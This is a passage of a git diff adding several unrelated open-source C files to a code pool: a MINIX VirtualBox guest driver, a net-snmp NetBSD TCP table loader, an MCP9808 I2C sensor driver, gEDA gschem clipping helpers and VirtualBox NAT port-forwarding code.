VMMDevReportGuestInfo *req; + int r; + + interval = DEFAULT_INTERVAL; + drift = DEFAULT_DRIFT; + + if (env_argc > 1) + optset_parse(optset_table, env_argv[1]); + + pci_init(); + + r = pci_first_dev(&devind, &vid, &did); + + for (;;) { + if (r != 1) + panic("backdoor device not found"); + + if (vid == VMMDEV_PCI_VID && did == VMMDEV_PCI_DID) + break; + + r = pci_next_dev(&devind, &vid, &did); + } + + pci_reserve(devind); + + port = pci_attr_r32(devind, PCI_BAR) & PCI_BAR_IO_MASK; + + irq = pci_attr_r8(devind, PCI_ILR); + hook_id = 0; + + if ((r = sys_irqsetpolicy(irq, 0 /* IRQ_REENABLE */, &hook_id)) != OK) + panic("unable to register IRQ: %d", r); + + if ((r = sys_irqenable(&hook_id)) != OK) + panic("unable to enable IRQ: %d", r); + + if ((vir_ptr = alloc_contig(VMMDEV_BUF_SIZE, 0, &phys_ptr)) == NULL) + panic("unable to allocate memory"); + + req = (struct VMMDevReportGuestInfo *) vir_ptr; + req->add_version = VMMDEV_GUEST_VERSION; + req->os_type = VMMDEV_GUEST_OS_OTHER; + + if ((r = vbox_request(&req->header, phys_ptr, + VMMDEV_REQ_REPORTGUESTINFO, sizeof(*req))) != + VMMDEV_ERR_OK) + panic("backdoor device not functioning"); + + ticks = sys_hz() * interval; + + sys_setalarm(ticks, 0); + + return OK; +} + +/*===========================================================================* + * vbox_intr * + *===========================================================================*/ +static void vbox_intr(void) +{ + /* Process an interrupt. */ + struct VMMDevEvents *req; + int r; + + req = (struct VMMDevEvents *) vir_ptr; + req->events = 0; + + /* If we cannot retrieve the events mask, we cannot do anything with + * this or any future interrupt either, so return without reenabling + * interrupts. + */ + if ((r = vbox_request(&req->header, phys_ptr, + VMMDEV_REQ_ACKNOWLEDGEEVENTS, sizeof(*req))) != + VMMDEV_ERR_OK) { + printf("VBOX: unable to retrieve event mask (%d)\n", r); + + return; + } + + if (req->events & VMMDEV_EVENT_HGCM) + hgcm_intr(); + + if ((r = sys_irqenable(&hook_id)) != OK) + panic("unable to reenable IRQ: %d", r); +} + +/*===========================================================================* + * vbox_update_time * + *===========================================================================*/ +static void vbox_update_time(void) +{ + /* Update the current time if it has drifted too far. */ + struct VMMDevReqHostTime *req; + time_t otime, ntime; + + req = (struct VMMDevReqHostTime *) vir_ptr; + + if (vbox_request(&req->header, phys_ptr, VMMDEV_REQ_HOSTTIME, + sizeof(*req)) == VMMDEV_ERR_OK) { + time(&otime); /* old time */ + + ntime = req->time / 1000; /* new time */ + + /* Make time go forward, if the difference exceeds the drift + * threshold. Never make time go backward. + */ + if ((ntime - otime) >= drift) + stime(&ntime); + } + + sys_setalarm(ticks, 0); +} + +/*===========================================================================* + * vbox_signal * + *===========================================================================*/ +static void vbox_signal(int signo) +{ + /* Process a signal. If it is a SIGTERM, terminate immediately. */ + + if (signo != SIGTERM) return; + + exit(0); +} + +/*===========================================================================* + * sef_local_startup * + *===========================================================================*/ +static void sef_local_startup(void) +{ + /* Perform local SEF initialization. */ + + sef_setcb_init_fresh(vbox_init); + sef_setcb_init_restart(vbox_init); + + sef_setcb_signal_handler(vbox_signal); + + sef_startup(); +} + +/*===========================================================================* + * main * + *===========================================================================*/ +int main(int argc, char **argv) +{ + /* The main message loop. */ + message m; + int r, ipc_status; + + env_setargs(argc, argv); + sef_local_startup(); + + while (TRUE) { + if ((r = driver_receive(ANY, &m, &ipc_status)) != OK) + panic("driver_receive failed: %d", r); + + if (is_ipc_notify(ipc_status)) { + switch (m.m_source) { + case HARDWARE: + vbox_intr(); + + break; + + case CLOCK: + vbox_update_time(); + + break; + + default: + printf("VBOX: received notify from %d\n", + m.m_source); + } + + continue; + } + + hgcm_message(&m, ipc_status); + } + + return 0; +} diff --git a/pool/shard011/C/0141946_tcpConn_netbsd.c b/pool/shard011/C/0141946_tcpConn_netbsd.c new file mode 100644 index 0000000000000000000000000000000000000000..b4229ff9fd1de0df443cda1c5a36ebb60866b2cc --- /dev/null +++ b/pool/shard011/C/0141946_tcpConn_netbsd.c @@ -0,0 +1,229 @@ +/* + * tcpConnTable MIB architecture support for NetBSD + */ +#include +#include + +#include +#include + +#include "tcp-mib/tcpConnectionTable/tcpConnectionTable_constants.h" +#include "tcp-mib/data_access/tcpConn_private.h" + +#include "mibII/mibII_common.h" + +#if HAVE_NETINET_TCP_H +#include +#endif +#if HAVE_NETINET_TCP_TIMER_H +#include +#endif +#if HAVE_NETINET_TCPIP_H +#include +#endif +#if HAVE_NETINET_TCP_VAR_H +#include +#endif + +static int _load(netsnmp_container *container, u_int flags, int var); + +/* + * initialize arch specific storage + * + * @retval 0: success + * @retval <0: error + */ +int +netsnmp_arch_tcpconn_entry_init(netsnmp_tcpconn_entry *entry) +{ + /* + * init + */ + return 0; +} + +/* + * cleanup arch specific storage + */ +void +netsnmp_arch_tcpconn_entry_cleanup(netsnmp_tcpconn_entry *entry) +{ + /* + * cleanup + */ +} + +/* + * copy arch specific storage + */ +int +netsnmp_arch_tcpconn_entry_copy(netsnmp_tcpconn_entry *lhs, + netsnmp_tcpconn_entry *rhs) +{ + return 0; +} + +/* + * delete an entry + */ +int +netsnmp_arch_tcpconn_entry_delete(netsnmp_tcpconn_entry *entry) +{ + if (NULL == entry) + return -1; + /** xxx-rks:9 tcpConn delete not implemented */ + return -1; +} + + +/** + * + * @retval 0 no errors + * @retval !0 errors + */ +int +netsnmp_arch_tcpconn_container_load(netsnmp_container *container, + u_int load_flags ) +{ + int rc = 0; + + DEBUGMSGTL(("access:tcpconn:container", + "tcpconn_container_arch_load (flags %x)\n", load_flags)); + + if (NULL == container) { + snmp_log(LOG_ERR, "no container specified/found for access_tcpconn\n"); + return -1; + } + + rc = _load(container, load_flags, 4); +#if defined(NETSNMP_ENABLE_IPV6) + rc = _load(container, load_flags, 6); +#endif + + return rc; +} + + +/** + * + * @retval 0 no errors + * @retval !0 errors + */ +static int +_load(netsnmp_container *container, u_int load_flags, int ver) +{ + const char *mibname; + int mib[8]; + size_t mib_len; + struct kinfo_pcb *pcblist; + size_t pcb_len; + int StateMap[] = { 1, 2, 3, 4, 5, 8, 6, 10, 9, 7, 11 }; + netsnmp_tcpconn_entry *entry; + int state; + int i, rc = 0; + + /* + * Read in the buffer containing the TCP table data + */ + switch (ver) { + case 4: + mibname = "net.inet.tcp.pcblist"; + break; + case 6: + mibname = "net.inet6.tcp6.pcblist"; + break; + default: + snmp_log(LOG_ERR, "tcp-mib:data_access:_load: bad version %d\n", ver); + return -1; + } + + if (sysctlnametomib(mibname, mib, &mib_len) == -1) { + snmp_log(LOG_ERR, "tcp-mib:data_access:_load: cant resolve mib %s\n", mibname); + return -1; + } + + if (sysctl(mib, sizeof(mib) / sizeof(*mib), NULL, &pcb_len, NULL, 0) == -1) { + snmp_log(LOG_ERR, "tcp-mib:data_access:_load: cant size mib %s\n", mibname); + return -1; + } + + if ((pcblist = malloc(pcb_len)) == NULL) { + snmp_log(LOG_ERR, "tcp-mib:data_access:_load: cant allocate mib %s\n", mibname); + return -1; + } + memset(pcblist, 0, pcb_len); + + mib[6] = sizeof(*pcblist); + mib[7] = pcb_len / sizeof(*pcblist); + + if (sysctl(mib, sizeof(mib) / sizeof(*mib), + pcblist, &pcb_len, NULL, 0) == -1) { + snmp_log(LOG_ERR, "tcp-mib:data_access:_load: cant size mib %s\n", mibname); + return -1; + } + + /* + * Unpick this into the constituent structures, and extract + * the 'inpcb' elements into a linked list (built in reverse) + */ + for (i = 0; i < pcb_len / sizeof(*pcblist); i++) { + struct kinfo_pcb *pcb = pcblist+i; + state = StateMap[pcb->ki_tstate]; + + if (load_flags) { + if (state == TCPCONNECTIONSTATE_LISTEN) { + if (load_flags & NETSNMP_ACCESS_TCPCONN_LOAD_NOLISTEN) { + DEBUGMSGT(("verbose:access:tcpconn:container", + " skipping listen\n")); + continue; + } + } + else if (load_flags & NETSNMP_ACCESS_TCPCONN_LOAD_ONLYLISTEN) { + DEBUGMSGT(("verbose:access:tcpconn:container", + " skipping non-listen\n")); + continue; + } + } + + entry = netsnmp_access_tcpconn_entry_create(); + if(NULL == entry) { + rc = -3; + break; + } + + entry->tcpConnState = state; + entry->pid = 0; + + if (ver == 6) { + struct sockaddr_in6 src, dst; + memcpy(&src, &pcb->ki_s, sizeof(src)); + memcpy(&dst, &pcb->ki_d, sizeof(dst)); + entry->loc_addr_len = entry->rmt_addr_len = 16; + memcpy(entry->loc_addr, &src.sin6_addr, 16); + memcpy(entry->rmt_addr, &dst.sin6_addr, 16); + entry->loc_port = ntohs(src.sin6_port); + entry->rmt_port = ntohs(dst.sin6_port); + } + else { + struct sockaddr_in src, dst; + memcpy(&src, &pcb->ki_s, sizeof(src)); + memcpy(&dst, &pcb->ki_d, sizeof(dst)); + entry->loc_addr_len = entry->rmt_addr_len = 4; + memcpy(entry->loc_addr, &src.sin_addr, 4); + memcpy(entry->rmt_addr, &dst.sin_addr, 4); + entry->loc_port = ntohs(src.sin_port); + entry->rmt_port = ntohs(dst.sin_port); + } + + /* + * add entry to container + */ + entry->arbitrary_index = CONTAINER_SIZE(container) + 1; + CONTAINER_INSERT(container, entry); + } + + if(rc<0) + return rc; + + return 0; +} diff --git a/pool/shard011/C/0141947_mcp9808.c b/pool/shard011/C/0141947_mcp9808.c new file mode 100644 index 0000000000000000000000000000000000000000..26c60884082695ca93d23c566f0020b3e8552e14 --- /dev/null +++ b/pool/shard011/C/0141947_mcp9808.c @@ -0,0 +1,220 @@ +/* + * @author Alexander Rüedlinger + * @date 08.03.2015 + * + * A C driver for the sensor MCP9808. + * + */ + +#ifndef __MCP9808__ +#define __MCP9808__ +#include +#include "mcp9808.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#endif + +#define MCP9808_REG_MANUF_ID 0x06 +#define MCP9808_REG_DEVICE_ID 0x07 + +#define MCP9808_REG_TMP_MSB 0x02 +#define MCP9808_REG_TMP_LSB 0x03 +#define MCP9808_REG_TMP 0x05 + +typedef struct { + /* file descriptor */ + int file; + + /* i2c device address */ + int address; + + /* i2c device file path */ + char *i2c_device; + + /* sensor specific data */ + int manuf_id; + int device_id; +} mcp9808_t; + + + +#define TO_S(x) (mcp9808_t*) x + +//#define __MCP9808__DEBUG__ +#ifdef __MCP9808__DEBUG__ +#define DEBUG(...) printf(__VA_ARGS__) +#else +#define DEBUG(...) +#endif + + + +/* + * Prototypes for helper functions + */ + +int mcp9808_set_addr(void *_s); +void mcp9808_init_error_cleanup(void *_s); + + +/* + * Implemetation of the helper functions + */ + + +/* + * Sets the address for the i2c device file. + * + * @param mcp9808 sensor + */ +int mcp9808_set_addr(void *_s) { + mcp9808_t* s = TO_S(_s); + int error; + + if((error = ioctl(s->file, I2C_SLAVE, s->address)) < 0) { + DEBUG("error: ioctl() failed\n"); + } + + return error; +} + + + +/* + * Frees allocated memory in the init function. + * + * @param mcp9808 sensor + */ +void mcp9808_init_error_cleanup(void *_s) { + mcp9808_t* s = TO_S(_s); + + if(s->i2c_device != NULL) { + free(s->i2c_device); + s->i2c_device = NULL; + } + + free(s); + s = NULL; +} + + + +/* + * Implementation of the interface functions. + */ + + +/** + * Creates a mcp9808 sensor object. + * + * @param i2c device address + * @param i2c device file path + * @return mcp9808 sensor + */ +void *mcp9808_init(int address, const char* i2c_device_filepath) { + DEBUG("device: init using address %#x and i2cbus %s\n", address, i2c_device_filepath); + + void *_s = malloc(sizeof(mcp9808_t)); + if(_s == NULL) { + DEBUG("error: malloc returns NULL pointer\n"); + return NULL; + } + + mcp9808_t *s = TO_S(_s); + s->address = address; + + s->i2c_device = (char*) malloc(strlen(i2c_device_filepath) * sizeof(char)); + if(s->i2c_device == NULL) { + DEBUG("error: malloc returns NULL pointer!\n"); + mcp9808_init_error_cleanup(s); + return NULL; + } + + // copy string + strcpy(s->i2c_device, i2c_device_filepath); + + // open i2c device + int file; + if((file = open(s->i2c_device, O_RDWR)) < 0) { + DEBUG("error: %s open() failed\n", s->i2c_device); + mcp9808_init_error_cleanup(s); + return NULL; + } + s->file = file; + + if(mcp9808_set_addr(s) < 0) { + mcp9808_init_error_cleanup(s); + return NULL; + } + + uint16_t manuf_id = (uint16_t) i2c_smbus_read_word_data(s->file, MCP9808_REG_MANUF_ID); + uint16_t device_id = (uint16_t) i2c_smbus_read_word_data(s->file, MCP9808_REG_DEVICE_ID); + s->manuf_id = ((manuf_id & 0x00FF)<<8) | ((manuf_id & 0xFF00)>>8); + s->device_id = ((device_id & 0x00FF)<<8) | ((device_id & 0xFF00)>>8); + + DEBUG("device: manuf_id: 0x%04x, device_id: 0x%04x\n", s->manuf_id, s->device_id); + + DEBUG("device: open ok\n"); + + return _s; +} + + + +/** + * Closes a mcp8909 object. + * + * @param mcp8909 sensor + */ +void mcp9808_close(void *_s) { + if(_s == NULL) { + return; + } + + DEBUG("close device\n"); + mcp9808_t *s = TO_S(_s); + + if(close(s->file) < 0) + DEBUG("error: %s close() failed\n", s->i2c_device); + + free(s->i2c_device); // free string + s->i2c_device = NULL; + free(s); // free structure + _s = NULL; +} + + + +/** + * Returns the measured temperature in celsius. + * + * @param mcp8909 sensor + * @return temperature + */ +float mcp9808_temperature(void *_s) { + mcp9808_t *s = TO_S(_s); + + // swap order of the msb and lsb bytes + uint16_t temperature_word = i2c_smbus_read_word_data(s->file, MCP9808_REG_TMP); + uint16_t raw_temperature = ((temperature_word & 0x00FF)<<8) | ((temperature_word & 0xFF00)>>8); + + float temperature = raw_temperature & 0x0FFF; // extract the first three bytes + temperature /= 16.0; + + if(raw_temperature & 0x1000) { // check sign bit + temperature -= 256.0; + } + DEBUG("temperature_word: %#x\n",temperature_word); + DEBUG("temperature: %0.2f\n",temperature); + + return temperature; +} + diff --git a/pool/shard011/C/0141948_m_basic.c b/pool/shard011/C/0141948_m_basic.c new file mode 100644 index 0000000000000000000000000000000000000000..4a6785b63a1fd27cf26da344fe975722c8b91098 --- /dev/null +++ b/pool/shard011/C/0141948_m_basic.c @@ -0,0 +1,386 @@ +/* gEDA - GPL Electronic Design Automation + * gschem - gEDA Schematic Capture + * Copyright (C) 1998-2010 Ales Hvezda + * Copyright (C) 1998-2010 gEDA Contributors (see ChangeLog for details) + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include + +#include +#include + +#include + +/*! \brief Find the closest grid coordinate. + * \par Function Description + * This function snaps the current input coordinate to the + * closest grid coordinate. + * + * \param [in] w_current The GschemToplevel object. + * \param [in] input The coordinate to snap. + * \return The closest grid coordinate to the input. + */ +int snap_grid(GschemToplevel *w_current, int input) +{ + int p, m, n; + int sign, value, snap_size; + SNAP_STATE snap_mode; + + snap_mode = gschem_options_get_snap_mode (w_current->options); + snap_size = gschem_options_get_snap_size (w_current->options); + + if (snap_mode == SNAP_OFF) { + return(input); + } + + /* this code was inspired from killustrator, it's much simpler than mine */ + sign = ( input < 0 ? -1 : 1 ); + value = abs(input); + + p = value / snap_size; + m = value % snap_size; + n = p * snap_size; + if (m > snap_size / 2) + n += snap_size; + +#if DEBUG + printf("p: %d\n", p); + printf("m: %d\n", m); + printf("m > snap_size / 2: %d\n", (m > snap_size / 2)); + printf("n: %d\n", n); + printf("n*s: %d\n", n*sign); +#endif + + return(sign*n); +} + +/*! \brief Get absolute WORLD coordinate. + * \par Function Description + * Get absolute WORLD coordinate. + * + * \param [in] w_current The GschemToplevel object. + * \param [in] val The coordinate to convert. + * \return The converted WORLD coordinate. + */ +int WORLDabs(GschemToplevel *w_current, int val) +{ + double fw0,fw1,fw,fval; + + double i; + int j; + + GschemPageGeometry *geometry = gschem_page_view_get_page_geometry (gschem_toplevel_get_current_page_view (w_current)); + + fw1 = geometry->viewport_right; + fw0 = geometry->viewport_left; + fw = w_current->win_width; + fval = val; + i = fval * (fw1 - fw0) / fw; + +#ifdef HAS_RINT + j = rint(i); +#else + j = i; +#endif + + return(j); +} + + +/*! \brief */ +typedef struct st_halfspace HALFSPACE; + +/*! \brief */ +struct st_halfspace { + int left; /* these are booleans */ + int top; + int right; + int bottom; +}; + +/* \note + * encode_halfspace and clip are part of the cohen-sutherland clipping + * algorithm. They are used to determine if an object is visible or not + */ +/*! \brief Encode WORLD coordinates as halfspace matrix. + * \par Function Description + * This function takes a point and checks if it is in the bounds + * of the current TOPLEVEL object's page coordinates. It + * handles points with WORLD coordinates. + * + * \param [in] w_current The GschemToplevel object. + * \param [in] point The point in WORLD coordinates to be checked. + * \param [out] halfspace The created HALFSPACE structure. + * + * \warning halfspace must be allocated before this function is called + */ +static void WORLDencode_halfspace (GschemPageGeometry *geometry, + sPOINT *point, HALFSPACE *halfspace) +{ + halfspace->left = point->x < geometry->viewport_left; + halfspace->right = point->x > geometry->viewport_right; + halfspace->bottom = point->y > geometry->viewport_bottom; + halfspace->top = point->y < geometry->viewport_top; +} + +/*! \brief Check if a set of coordinates are within a clipping region + * \par Function Description + * This function will check if the given set of coordinates + * are within a clipping region. No action will be taken to change + * the coordinates. + * + * \param [in] w_current The GschemToplevel object. + * \param [in,out] x1 x coordinate of the first screen point. + * \param [in,out] y1 y coordinate of the first screen point. + * \param [in,out] x2 x coordinate of the second screen point. + * \param [in,out] y2 y coordinate of the second screen point. + * \return TRUE if coordinates are now visible, FALSE otherwise. + */ +int clip_nochange (GschemPageGeometry *geometry, int x1, int y1, int x2, int y2) +{ + HALFSPACE half1, half2; + HALFSPACE tmp_half; + sPOINT tmp_point; + sPOINT point1, point2; + float slope; + int in1, in2, done; + int visible; + int w_l, w_t, w_r, w_b; + + point1.x = x1; + point1.y = y1; + point2.x = x2; + point2.y = y2; + + /*printf("before: %d %d %d %d\n", x1, y1, x2, y2);*/ + + w_l = geometry->viewport_left; + w_t = geometry->viewport_top; + w_r = geometry->viewport_right; + w_b = geometry->viewport_bottom; + + done = FALSE; + visible = FALSE; + + do { + WORLDencode_halfspace (geometry, &point1, &half1); + WORLDencode_halfspace (geometry, &point2, &half2); + +#if DEBUG + printf("starting loop\n"); + printf("1 %d %d %d %d\n", half1.left, half1.top, half1.right, half1.bottom); + printf("2 %d %d %d %d\n", half2.left, half2.top, half2.right, half2.bottom); +#endif + + in1 = (!half1.left) && + (!half1.top) && + (!half1.right) && + (!half1.bottom); + + in2 = (!half2.left) && + (!half2.top) && + (!half2.right) && + (!half2.bottom); + + + if (in1 && in2) { /* trivally accept */ + done = TRUE; + visible = TRUE; + } else if ( ((half1.left && half2.left) || + (half1.right && half2.right)) || + ((half1.top && half2.top) || + (half1.bottom && half2.bottom)) ) { + done = TRUE; /* trivially reject */ + visible = FALSE; + } else { /* at least one point outside */ + if (in1) { + tmp_half = half1; + half1 = half2; + half2 = tmp_half; + + tmp_point = point1; + point1 = point2; + point2 = tmp_point; + } + + if (point2.x == point1.x) { /* vertical line */ + if (half1.top) { + point1.y = w_t; + } else if (half1.bottom) { + point1.y = w_b; + } + } else { /* not a vertical line */ + + /* possible fix for alpha core dumping */ + /* assume the object is visible */ + if ((point2.x - point1.x) == 0) { + return(TRUE); + } + + slope = (float) (point2.y - point1.y) / + (float) (point2.x - point1.x); + + /* possible fix for alpha core dumping */ + /* assume the object is visible */ + if (slope == 0.0) { + return(TRUE); + } + + if (half1.left) { + point1.y = point1.y + + (w_l - point1.x) * slope; + point1.x = w_l; + } else if (half1.right) { + point1.y = point1.y + + (w_r - point1.x) * slope; + point1.x = w_r; + } else if (half1.bottom) { + point1.x = point1.x + + (w_b - point1.y) / slope; + point1.y = w_b; + } else if (half1.top) { + point1.x = point1.x + + (w_t - point1.y) / slope; + point1.y = w_t; + } + } /* end of not a vertical line */ + } /* end of at least one outside */ + } while (!done); + + return(visible); +} + +/*! \brief Check if a bounding box is visible on the screen. + * \par Function Description + * This function checks if a given bounding box is visible on the screen. + * + * WARNING: top and bottom are mis-named in world-coords, + * top is the smallest "y" value, and bottom is the largest. + * Be careful! This doesn't correspond to what you'd expect. + * + * \param [in] w_current The GschemToplevel object. + * \param [in] wleft Left coordinate of the bounding box. + * \param [in] wtop Top coordinate of the bounding box. + * \param [in] wright Right coordinate of the bounding box. + * \param [in] wbottom Bottom coordinate of the bounding box. + * \return TRUE if bounding box is visible, FALSE otherwise + */ +int visible (GschemToplevel *w_current, + int wleft, int wtop, int wright, int wbottom) +{ + int visible=FALSE; + GschemPageGeometry *geometry = gschem_page_view_get_page_geometry (gschem_toplevel_get_current_page_view (w_current)); + + visible = clip_nochange (geometry, wleft, wtop, wright, wtop); + +#if DEBUG + printf("vis1 %d\n", visible); +#endif + + if (!visible) { + visible = clip_nochange (geometry, wleft, wbottom, wright, wbottom); + } else { + return(visible); + } + +#if DEBUG + printf("vis2 %d\n", visible); +#endif + + if (!visible) { + visible = clip_nochange (geometry, wleft, wtop, wleft, wbottom); + } else { + return(visible); + } + +#if DEBUG + printf("vis3 %d\n", visible); +#endif + + if (!visible) { + visible = clip_nochange (geometry, wright, wtop, wright, wbottom); + } else { + return(visible); + } + +#if DEBUG + printf("vis4 %d\n", visible); +#endif + +#if DEBUG + printf("%d %d %d\n", wleft, geometry->viewport_top, wright); + printf("%d %d %d\n", wtop, geometry->viewport_top, wbottom); + printf("%d %d %d\n", wleft, geometry->viewport_right, wright); + printf("%d %d %d\n", wtop, geometry->viewport_bottom, wbottom); +#endif + + /* + * now check to see if bounding box encompasses the entire viewport. + * We only need to test if one point on the screen clipping boundary + * is indide the bounding box of the object. + */ + if (geometry->viewport_left >= wleft && + geometry->viewport_left <= wright && + geometry->viewport_top >= wtop && + geometry->viewport_top <= wbottom ) { + visible = 1; + } + +#if DEBUG + printf("vis5 %d\n", visible); +#endif + + return(visible); +} + + +/*! \brief Rounds numbers by a power of 10. + * \par Function Description + * This function will round numbers using a power of 10 method. + * For example: + * 1235 rounds to 1000 + * 670 rounds to 500 + * 0.234 rounds to 0.2 + * integer values would be enough if there are no numbers smaller than 1 (hw) + * + * \param [in] unrounded The number to be rounded. + * \return The rounded number. + */ +/* rounds for example 1235 to 1000, 670 to 500, 0.234 to 0.2 ... +int would be enough if there are no numbers smaller 1 (hw)*/ +double round_5_2_1(double unrounded) +{ + int digits; + double betw_1_10; + + /*only using the automatic cast */ + digits = log10(unrounded); + /* creates numbers between 1 and 10 */ + betw_1_10 = unrounded / pow(10,digits); + + if (betw_1_10 < 1.5) { + return(pow(10,digits)); + } + if (betw_1_10 > 1.4 && betw_1_10 < 3.5 ) { + return(2*pow(10,digits)); + } + if (betw_1_10 > 3.4 && betw_1_10 < 7.5 ) { + return(5*pow(10,digits)); + } + else { + return(10*pow(10,digits)); + } +} diff --git a/pool/shard011/C/0141949_portfwd.c b/pool/shard011/C/0141949_portfwd.c new file mode 100644 index 0000000000000000000000000000000000000000..013654d0f381fba929192ff29c9d0cef14ef55c2 --- /dev/null +++ b/pool/shard011/C/0141949_portfwd.c @@ -0,0 +1,262 @@ +/* $Id: portfwd.c $ */ +/** @file + * NAT Network - port-forwarding rules. + */ + +/* + * Copyright (C) 2013-2015 Oracle Corporation + * + * This file is part of VirtualBox Open Source Edition (OSE), as + * available from http://www.virtualbox.org. This file is free software; + * you can redistribute it and/or modify it under the terms of the GNU + * General Public License (GPL) as published by the Free Software + * Foundation, in version 2 as it comes in the "COPYING" file of the + * VirtualBox OSE distribution. VirtualBox OSE is distributed in the + * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. + */ + +#define LOG_GROUP LOG_GROUP_NAT_SERVICE + +#include "winutils.h" +#include "portfwd.h" + +#ifndef RT_OS_WINDOWS +#include +#include +#include +#else +# include "winpoll.h" +#endif +#include +#include + +#include "proxy.h" +#include "proxy_pollmgr.h" +#include "pxremap.h" + +#include "lwip/netif.h" + + +struct portfwd_msg { + struct fwspec *fwspec; + int add; +}; + + +static int portfwd_chan_send(struct portfwd_msg *); +static int portfwd_rule_add_del(struct fwspec *, int); +static int portfwd_pmgr_chan(struct pollmgr_handler *, SOCKET, int); + + +static struct pollmgr_handler portfwd_pmgr_chan_hdl; + + +void +portfwd_init(void) +{ + portfwd_pmgr_chan_hdl.callback = portfwd_pmgr_chan; + portfwd_pmgr_chan_hdl.data = NULL; + portfwd_pmgr_chan_hdl.slot = -1; + pollmgr_add_chan(POLLMGR_CHAN_PORTFWD, &portfwd_pmgr_chan_hdl); + + /* add preconfigured forwarders */ + fwtcp_init(); + fwudp_init(); +} + + +static int +portfwd_chan_send(struct portfwd_msg *msg) +{ + ssize_t nsent; + + nsent = pollmgr_chan_send(POLLMGR_CHAN_PORTFWD, &msg, sizeof(msg)); + if (nsent < 0) { + free(msg); + return -1; + } + + return 0; +} + + +static int +portfwd_rule_add_del(struct fwspec *fwspec, int add) +{ + struct portfwd_msg *msg; + + msg = (struct portfwd_msg *)malloc(sizeof(*msg)); + if (msg == NULL) { + return -1; + } + + msg->fwspec = fwspec; + msg->add = add; + + return portfwd_chan_send(msg); +} + + +int +portfwd_rule_add(struct fwspec *fwspec) +{ + return portfwd_rule_add_del(fwspec, 1); +} + + +int +portfwd_rule_del(struct fwspec *fwspec) +{ + return portfwd_rule_add_del(fwspec, 0); +} + + +/** + * POLLMGR_CHAN_PORTFWD handler. + */ +static int +portfwd_pmgr_chan(struct pollmgr_handler *handler, SOCKET fd, int revents) +{ + void *ptr = pollmgr_chan_recv_ptr(handler, fd, revents); + struct portfwd_msg *msg = (struct portfwd_msg *)ptr; + + if (msg->fwspec->stype == SOCK_STREAM) { + if (msg->add) { + fwtcp_add(msg->fwspec); + } + else { + fwtcp_del(msg->fwspec); + } + } + else { /* SOCK_DGRAM */ + if (msg->add) { + fwudp_add(msg->fwspec); + } + else { + fwudp_del(msg->fwspec); + } + } + + free(msg->fwspec); + free(msg); + + return POLLIN; +} + + +int +fwspec_set(struct fwspec *fwspec, int sdom, int stype, + const char *src_addr_str, uint16_t src_port, + const char *dst_addr_str, uint16_t dst_port) +{ + struct addrinfo hints; + struct addrinfo *ai; + int status; + + LWIP_ASSERT1(sdom == PF_INET || sdom == PF_INET6); + LWIP_ASSERT1(stype == SOCK_STREAM || stype == SOCK_DGRAM); + + fwspec->sdom = sdom; + fwspec->stype = stype; + + memset(&hints, 0, sizeof(hints)); + hints.ai_family = (sdom == PF_INET) ? AF_INET : AF_INET6; + hints.ai_socktype = stype; + hints.ai_flags = AI_NUMERICHOST; + + status = getaddrinfo(src_addr_str, NULL, &hints, &ai); + if (status != 0) { + LogRel(("\"%s\": %s\n", src_addr_str, gai_strerror(status))); + return -1; + } + LWIP_ASSERT1(ai != NULL); + LWIP_ASSERT1(ai->ai_addrlen <= sizeof(fwspec->src)); + memcpy(&fwspec->src, ai->ai_addr, ai->ai_addrlen); + freeaddrinfo(ai); + ai = NULL; + + status = getaddrinfo(dst_addr_str, NULL, &hints, &ai); + if (status != 0) { + LogRel(("\"%s\": %s\n", dst_addr_str, gai_strerror(status))); + return -1; + } + LWIP_ASSERT1(ai != NULL); + LWIP_ASSERT1(ai->ai_addrlen <= sizeof(fwspec->dst)); + memcpy(&fwspec->dst, ai->ai_addr, ai->ai_addrlen); + freeaddrinfo(ai); + ai = NULL; + + if (sdom == PF_INET) { + fwspec->src.sin.sin_port = htons(src_port); + fwspec->dst.sin.sin_port = htons(dst_port); + } + else { /* PF_INET6 */ + fwspec->src.sin6.sin6_port = htons(src_port); + fwspec->dst.sin6.sin6_port = htons(dst_port); + } + + return 0; +} + + +int +fwspec_equal(struct fwspec *a, struct fwspec *b) +{ + LWIP_ASSERT1(a != NULL); + LWIP_ASSERT1(b != NULL); + + if (a->sdom != b->sdom || a->stype != b->stype) { + return 0; + } + + if (a->sdom == PF_INET) { + return a->src.sin.sin_port == b->src.sin.sin_port + && a->dst.sin.sin_port == b->dst.sin.sin_port + && a->src.sin.sin_addr.s_addr == b->src.sin.sin_addr.s_addr + && a->dst.sin.sin_addr.s_addr == b->dst.sin.sin_addr.s_addr; + } + else { /* PF_INET6 */ + return a->src.sin6.sin6_port == b->src.sin6.sin6_port + && a->dst.sin6.sin6_port == b->dst.sin6.sin6_port + && IN6_ARE_ADDR_EQUAL(&a->src.sin6.sin6_addr, &b->src.sin6.sin6_addr) + && IN6_ARE_ADDR_EQUAL(&a->dst.sin6.sin6_addr, &b->dst.sin6.sin6_addr); + } +} + + +/** + * Set fwdsrc to the IP address of the peer. + * + * For port-forwarded connections originating from hosts loopback the + * source address is set to the address of one of lwIP interfaces. + * + * Currently we only have one interface so there's not much logic + * here. In the future we might need to additionally consult fwspec + * and routing table to determine which netif is used for connections + * to the specified guest. + */ +int +fwany_ipX_addr_set_src(ipX_addr_t *fwdsrc, const struct sockaddr *peer) +{ + int mapping; + + if (peer->sa_family == AF_INET) { + const struct sockaddr_in *peer4 = (const struct sockaddr_in *)peer; + ip_addr_t peerip4; + + peerip4.addr = peer4->sin_addr.s_addr; + mapping = pxremap_inbound_ip4(&fwdsrc->ip4, &peerip4); + } + else if (peer->sa_family == AF_INET6) { + const struct sockaddr_in6 *peer6 = (const struct sockaddr_in6 *)peer; + ip6_addr_t peerip6; + + memcpy(&peerip6, &peer6->sin6_addr, sizeof(ip6_addr_t)); + mapping = pxremap_inbound_ip6(&fwdsrc->ip6, &peerip6); + } + else { + mapping = PXREMAP_FAILED; + } + + return mapping; +} diff --git a/pool/shard011/C/0141950_dict-connection.c b/pool/shard011/C/0141950_dict-connection.c new file mode 100644 index 